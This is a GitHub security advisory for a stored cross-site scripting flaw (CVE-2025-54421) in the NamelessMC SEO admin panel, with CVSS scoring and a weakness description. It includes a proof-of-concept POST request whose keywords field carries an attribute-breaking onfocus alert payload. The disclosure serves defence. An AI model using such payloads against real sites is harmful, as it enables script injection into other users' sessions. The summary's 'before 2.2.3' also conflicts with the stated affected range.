Skip to content

Stored Cross Site Scripting (XSS) in SEO component

High
samerton published GHSA-f5rm-w4mx-q7rx Aug 16, 2025

Package

NamelessMC

Affected versions

<= 2.2.3

Patched versions

2.2.4

Description

Summary

Cross-site scripting (XSS) vulnerability in NamelessMC before 2.2.3 allows remote authenticated attackers to inject arbitrary web script or HTML via the default_keywords crafted parameter.

Details

It is possible to inject an arbitrary code into default_keywords parameter which results in its execution.

PoC

In order to exploit the vulnerability:

  1. Send the following request (from the account with permission to SEO section):
POST /nameless/panel/core/seo/ HTTP/1.1
Host: [REDACTED]
Content-Length: 130
Cache-Control: max-age=0
Accept-Language: en-GB,en;q=0.9
Origin: http://[REDACTED]
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: [REDACTED]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://[REDACTED]/nameless/panel/core/seo/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=[REDACTED]; nl2_adm=[REDACTED]; nl-profile-2=true
Connection: keep-alive

default_description=&default_keywords=test%22%20autofocus%20onfocus%3d%22alert(document.domain)&token=d2583e836255fe0477e9099318a6ca54&type=meta
image

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-54421

Weaknesses

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as <, >, and & that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. Learn more on MITRE.

Credits